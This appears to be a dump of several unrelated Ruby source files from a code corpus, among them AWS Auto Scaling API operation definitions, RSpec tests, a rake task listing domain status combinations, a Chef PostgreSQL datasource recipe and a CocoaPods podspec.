o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DetachLoadBalancerTargetGroupsType)
o.output = Shapes::ShapeRef.new(shape: DetachLoadBalancerTargetGroupsResultType)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:detach_load_balancers, Seahorse::Model::Operation.new.tap do |o|
o.name = "DetachLoadBalancers"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DetachLoadBalancersType)
o.output = Shapes::ShapeRef.new(shape: DetachLoadBalancersResultType)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:disable_metrics_collection, Seahorse::Model::Operation.new.tap do |o|
o.name = "DisableMetricsCollection"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: DisableMetricsCollectionQuery)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:enable_metrics_collection, Seahorse::Model::Operation.new.tap do |o|
o.name = "EnableMetricsCollection"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: EnableMetricsCollectionQuery)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:enter_standby, Seahorse::Model::Operation.new.tap do |o|
o.name = "EnterStandby"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: EnterStandbyQuery)
o.output = Shapes::ShapeRef.new(shape: EnterStandbyAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:execute_policy, Seahorse::Model::Operation.new.tap do |o|
o.name = "ExecutePolicy"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: ExecutePolicyType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ScalingActivityInProgressFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:exit_standby, Seahorse::Model::Operation.new.tap do |o|
o.name = "ExitStandby"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: ExitStandbyQuery)
o.output = Shapes::ShapeRef.new(shape: ExitStandbyAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:get_predictive_scaling_forecast, Seahorse::Model::Operation.new.tap do |o|
o.name = "GetPredictiveScalingForecast"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: GetPredictiveScalingForecastType)
o.output = Shapes::ShapeRef.new(shape: GetPredictiveScalingForecastAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:put_lifecycle_hook, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutLifecycleHook"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: PutLifecycleHookType)
o.output = Shapes::ShapeRef.new(shape: PutLifecycleHookAnswer)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:put_notification_configuration, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutNotificationConfiguration"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: PutNotificationConfigurationType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:put_scaling_policy, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutScalingPolicy"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: PutScalingPolicyType)
o.output = Shapes::ShapeRef.new(shape: PolicyARNType)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
api.add_operation(:put_scheduled_update_group_action, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutScheduledUpdateGroupAction"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: PutScheduledUpdateGroupActionType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: AlreadyExistsFault)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:put_warm_pool, Seahorse::Model::Operation.new.tap do |o|
o.name = "PutWarmPool"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: PutWarmPoolType)
o.output = Shapes::ShapeRef.new(shape: PutWarmPoolAnswer)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:record_lifecycle_action_heartbeat, Seahorse::Model::Operation.new.tap do |o|
o.name = "RecordLifecycleActionHeartbeat"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: RecordLifecycleActionHeartbeatType)
o.output = Shapes::ShapeRef.new(shape: RecordLifecycleActionHeartbeatAnswer)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:resume_processes, Seahorse::Model::Operation.new.tap do |o|
o.name = "ResumeProcesses"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: ScalingProcessQuery)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:set_desired_capacity, Seahorse::Model::Operation.new.tap do |o|
o.name = "SetDesiredCapacity"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: SetDesiredCapacityType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ScalingActivityInProgressFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:set_instance_health, Seahorse::Model::Operation.new.tap do |o|
o.name = "SetInstanceHealth"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: SetInstanceHealthQuery)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:set_instance_protection, Seahorse::Model::Operation.new.tap do |o|
o.name = "SetInstanceProtection"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: SetInstanceProtectionQuery)
o.output = Shapes::ShapeRef.new(shape: SetInstanceProtectionAnswer)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:start_instance_refresh, Seahorse::Model::Operation.new.tap do |o|
o.name = "StartInstanceRefresh"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: StartInstanceRefreshType)
o.output = Shapes::ShapeRef.new(shape: StartInstanceRefreshAnswer)
o.errors << Shapes::ShapeRef.new(shape: LimitExceededFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: InstanceRefreshInProgressFault)
end)
api.add_operation(:suspend_processes, Seahorse::Model::Operation.new.tap do |o|
o.name = "SuspendProcesses"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: ScalingProcessQuery)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ResourceInUseFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:terminate_instance_in_auto_scaling_group, Seahorse::Model::Operation.new.tap do |o|
o.name = "TerminateInstanceInAutoScalingGroup"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: TerminateInstanceInAutoScalingGroupType)
o.output = Shapes::ShapeRef.new(shape: ActivityType)
o.errors << Shapes::ShapeRef.new(shape: ScalingActivityInProgressFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
end)
api.add_operation(:update_auto_scaling_group, Seahorse::Model::Operation.new.tap do |o|
o.name = "UpdateAutoScalingGroup"
o.http_method = "POST"
o.http_request_uri = "/"
o.input = Shapes::ShapeRef.new(shape: UpdateAutoScalingGroupType)
o.output = Shapes::ShapeRef.new(shape: Shapes::StructureShape.new(struct_class: Aws::EmptyStructure))
o.errors << Shapes::ShapeRef.new(shape: ScalingActivityInProgressFault)
o.errors << Shapes::ShapeRef.new(shape: ResourceContentionFault)
o.errors << Shapes::ShapeRef.new(shape: ServiceLinkedRoleFailure)
end)
end
end
end
| 79.910511
| 222
| 0.791913
|
b9da0bb17f10a8680f499b3f282befb1b1de4136
| 2,934
|
require File.expand_path(File.dirname(__FILE__) + '../../spec_helper')
describe "Client" do
before :each do
config_setup
end
describe "errors" do
before :each do
@error_report = LazyGoogleAnalytics::Client.new()
@error_report.parameters({'ids' => "ga:#{LazyGoogleAnalytics::Config.profile_id}",
'start-date' => DateTime.now.prev_month.strftime("%Y-%m-%d"),
'end-date' => DateTime.now.strftime("%Y-%m-%d"),
'dimensions' => "ga:year,ga:month",
'metrics' => "ga:visits,ga:bounces,ga:entranceBounceRate",
'sort' => "ga:month,ga:day" })
end
it "should raise and error" do
lambda { @error_report.results }.should raise_error
end
end
describe "override entire options" do
before :each do
@report = LazyGoogleAnalytics::Client.new()
@report.parameters({'ids' => "ga:123456",
'dimensions' => "ga:year,ga:month",
'sort' => "ga:month,ga:day" })
end
it "options should have new options" do
@report.options[:parameters].keys.should == ["ids", "dimensions", "sort"]
@report.options[:parameters]["ids"].should == "ga:123456"
end
end
describe "initialize with specific options without overriding defaults" do
before :each do
@report = LazyGoogleAnalytics::Client.new({:ids => "ga:123"})
end
it "options should have new options" do
@report.options[:parameters].keys.should == ["ids", "start-date", "end-date", "dimensions", "metrics", "sort"]
@report.options[:parameters]["ids"].should == "ga:123"
end
end
describe "block initialization" do
before :each do
@report = LazyGoogleAnalytics::Client.new do |client|
client.parameters({ "ids" => "ga:123456"})
end
end
it "options should have new options" do
@report.options[:parameters].keys.should == ["ids"]
@report.options[:parameters]["ids"].should == "ga:123456"
end
end
describe "Client" do
before(:all) do
@client = LazyGoogleAnalytics::Client.new()
end
it "find objects object" do
@client.results.should_not be_nil
end
it "headers raw" do
@client.results.data.column_headers[0]["name"].should == "ga:day"
@client.results.data.column_headers[1]["name"].should == "ga:month"
@client.results.data.column_headers[2]["name"].should == "ga:visits"
end
it "rows raw" do
@client.results.data.rows.class.should be Array
@client.results.data.rows.should_not be_empty
end
it "headers" do
@client.formatted_columns.should == "ga:day\tga:month\tga:visits"
end
it "rows" do
@client.formatted_rows.class.should == Array
@client.formatted_rows.should_not be_empty
end
end
end
| 29.636364
| 116
| 0.596455
|
e26dbe196d26d1c749a58006aa9e3628fb444ac2
| 520
|
# frozen_string_literal: true
module RuboCop
module Daemon
module ClientCommand
class Restart < Base
def run
parser.parse(@argv)
ClientCommand::Stop.new([]).run
ClientCommand::Start.new(@argv).run
end
private
def parser
@parser ||= CLI.new_parser do |p|
p.banner = 'usage: rubocop-daemon restart'
p.on('-p', '--port [PORT]') { |v| @options[:port] = v }
end
end
end
end
end
end
| 19.259259
| 67
| 0.525
|
ed31b9af9cc9bf0bd81598efa6cd7835871872ed
| 92
|
# desc "Explaining what the task does"
# task :oai_repository do
# # Task goes here
# end
| 18.4
| 38
| 0.695652
|
1a82ae0f5f76fe210490954eea071e9f2adaf5ee
| 77
|
# frozen_string_literal: true
json.partial! 'merchant', merchant: @merchant
| 19.25
| 45
| 0.779221
|
61adf372d4d628574b876f2a7ca7d623cc4eefc5
| 16,901
|
desc 'Schema load for all databases: registry, api_log and whois'
task statuses: [:environment] do
statuses = {
'ok': [
],
'inactive': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'clientDeleteProhibited': [
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverDeleteProhibited': [
'clientDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'clientHold': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverHold': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'clientRenewProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverRenewProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'clientTransferProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverTransferProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'clientUpdateProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverUpdateProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'pendingCreate': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'pendingDelete': [
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingDeleteConfirmation',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'pendingRenew': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'pendingTransfer': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'pendingUpdate': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverManualInzone': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'pendingUpdate',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverRegistrantChangeProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverAdminChangeProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverTechChangeProhibited': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'serverForceDelete': [
'clientHold',
'serverHold',
'inactive',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'deleteCandidate',
'expired'
],
'deleteCandidate': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate',
'expired'
],
'expired': [
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientHold',
'serverHold',
'clientRenewProhibited',
'serverRenewProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'inactive',
'pendingCreate',
'pendingDelete',
'pendingDeleteConfirmation',
'pendingRenew',
'pendingTransfer',
'pendingUpdate',
'serverManualInzone',
'serverRegistrantChangeProhibited',
'serverAdminChangeProhibited',
'serverTechChangeProhibited',
'serverForceDelete',
'deleteCandidate'
]
}
puts "\nDomain status can be with other statuses map\n"
puts "---------------------------------------------"
statuses.each do |s, _v|
puts "\n#{s} =>"
statuses[s].map { |u| puts " #{u}" }
puts
end
contact_statuses = {
'ok': [
'linked'
],
'linked': [
'ok'
],
'clientDeleteProhibited': [
'linked',
'serverDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'pendingCreate',
'pendingTransfer',
'pendingUpdate'
],
'serverDeleteProhibited': [
'linked',
'clientDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'pendingCreate',
'pendingTransfer',
'pendingUpdate'
],
'clientTransferProhibited': [
'linked',
'serverDeleteProhibited',
'clientDeleteProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'pendingCreate',
'pendingDelete',
'pendingUpdate'
],
'serverTransferProhibited': [
'linked',
'serverDeleteProhibited',
'clientDeleteProhibited',
'clientTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited',
'pendingCreate',
'pendingDelete',
'pendingUpdate'
],
'clientUpdateProhibited': [
'linked',
'serverDeleteProhibited',
'clientDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'serverUpdateProhibited',
'pendingCreate',
'pendingDelete',
'pendingTransfer'
],
'serverUpdateProhibited': [
'linked',
'serverDeleteProhibited',
'clientDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'pendingCreate',
'pendingDelete',
'pendingTransfer'
],
'pendingCreate': [
'linked',
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited'
],
'pendingDelete': [
'linked',
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited'
],
'pendingTransfer': [
'linked',
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited'
],
'pendingUpdate': [
'linked',
'clientDeleteProhibited',
'serverDeleteProhibited',
'clientTransferProhibited',
'serverTransferProhibited',
'clientUpdateProhibited',
'serverUpdateProhibited'
]
}
puts "\n\nContact status can be with other statuses map\n"
puts "---------------------------------------------"
contact_statuses.each do |s, _v|
puts "\n#{s} =>"
contact_statuses[s].map { |u| puts " #{u}" }
puts
end
end
| 26.998403
| 65
| 0.636057
|
39fa14cd32a9be2fb18b1595b09aad0b5a7a5725
| 1,372
|
require 'test_helper'
class Pdf::ReportTest < ActiveSupport::TestCase
setup do
@account = FactoryBot.create(:simple_provider)
@service = FactoryBot.create(:simple_service, account: @account)
@report = Pdf::Report.new(@account, @service, period: :day).generate
end
test 'send_notification!' do
user = FactoryBot.create(:simple_user, role: :admin, account: @account)
user.create_notification_preferences!(enabled_notifications: %w[daily_report])
assert_difference ActionMailer::Base.deliveries.method(:count) do
assert @report.send_notification!
end
end
test 'notification_name' do
@report.period = :day
assert_equal :daily_report, @report.notification_name
@report.period = :week
assert_equal :weekly_report, @report.notification_name
end
test 'generate without metrics' do
account = FactoryBot.build_stubbed(:simple_provider)
service = FactoryBot.build_stubbed(:simple_service, account: account)
report = Pdf::Report.new(account, service, period: :day)
assert report.generate
end
test 'sanitize html entitites' do
account = FactoryBot.build_stubbed(:simple_provider)
service = FactoryBot.build_stubbed(:simple_service, account: account, name: 'Name Contains & Symbol')
report = Pdf::Report.new(account, service, period: :day)
assert report.generate
end
end
| 29.191489
| 105
| 0.734694
|
91a0ed7941bdeac4c4c6c0db9d6808857da0e7a5
| 1,593
|
# Encoding: UTF-8
# Cookbook Name:: wildfly
# Recipe:: postgres_datasources
#
# Copyright (C) 2018 Brian Dwyer - Intelligent Digital Services
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
# => Check this out for defining datasources...
# => http://www.ironjacamar.org/doc/schema/datasources_1_2.xsd
#
# => Shorten Hashes
wildfly = node['wildfly']
postgres = node['wildfly']['postgresql']
postgres['jndi']['datasources'].each do |source|
# => Configure PostgreSQL Datasource
template ::File.join(wildfly['base'], 'standalone', 'deployments', "#{::File.basename(source['jndi_name'])}-ds.xml") do
source 'postgres-ds.xml.erb'
user wildfly['user']
group wildfly['group']
mode '0600'
variables(
pool_name: source['pool_name'],
jndi_name: source['jndi_name'],
postgres_server: source['server'],
postgres_port: source['port'],
postgres_db_name: source['db_name'],
postgres_user: source['db_user'],
postgres_pass: source['db_pass'],
postgres_pool_min: '5',
postgres_pool_max: '20'
)
action :create
end
end
| 31.235294
| 121
| 0.700565
|
1855d70e3b3c4800c74ad337dd5202ec98563483
| 783
|
Pod::Spec.new do |spec|
spec.name = "Trikot.bluetooth"
spec.version = "0.0.1"
spec.summary = "Trikot.bluetooth ios Manager."
spec.description = "Trikot.bluetooth ios Manager."
spec.homepage = "https://github.com/mirego/trikot.bluetooth"
spec.license = "MIT license"
spec.author = { "Martin Gagnon" => "mgagnon@mirego.com" }
spec.source = { :git => "https://github.com/mirego/trikot.bluetooth.git", :tag => "#{spec.version}" }
spec.source_files = "swift-extensions/*.swift"
spec.static_framework = true
spec.ios.deployment_target = '10.0'
spec.dependency ENV['TRIKOT_FRAMEWORK_NAME']
spec.prepare_command = <<-CMD
sed -i '' "s/TRIKOT_FRAMEWORK_NAME/${TRIKOT_FRAMEWORK_NAME}/g" ./**/*.swift
CMD
end
| 39.15
| 110
| 0.646232
|
e917bf4fdd79dd31697828cb9c0bab603741031f
| 54
|
require File.join(File.dirname(__FILE__), 'bugherd')
| 27
| 53
| 0.759259
|
116c91af52c0ce89537693cc6a11233a9d5129a1
| 9,151
|
# Copyright (c) 2015 AppNeta, Inc.
# All rights reserved.
require 'minitest_helper'
require 'rack'
describe "Typhoeus" do
before do
clear_all_traces
@collect_backtraces = TraceView::Config[:typhoeus][:collect_backtraces]
@log_args = TraceView::Config[:typhoeus][:log_args]
end
after do
TraceView::Config[:typhoeus][:collect_backtraces] = @collect_backtraces
TraceView::Config[:typhoeus][:log_args] = @log_args
end
it 'Typhoeus should be defined and ready' do
defined?(::Typhoeus::Request::Operations).wont_match nil
end
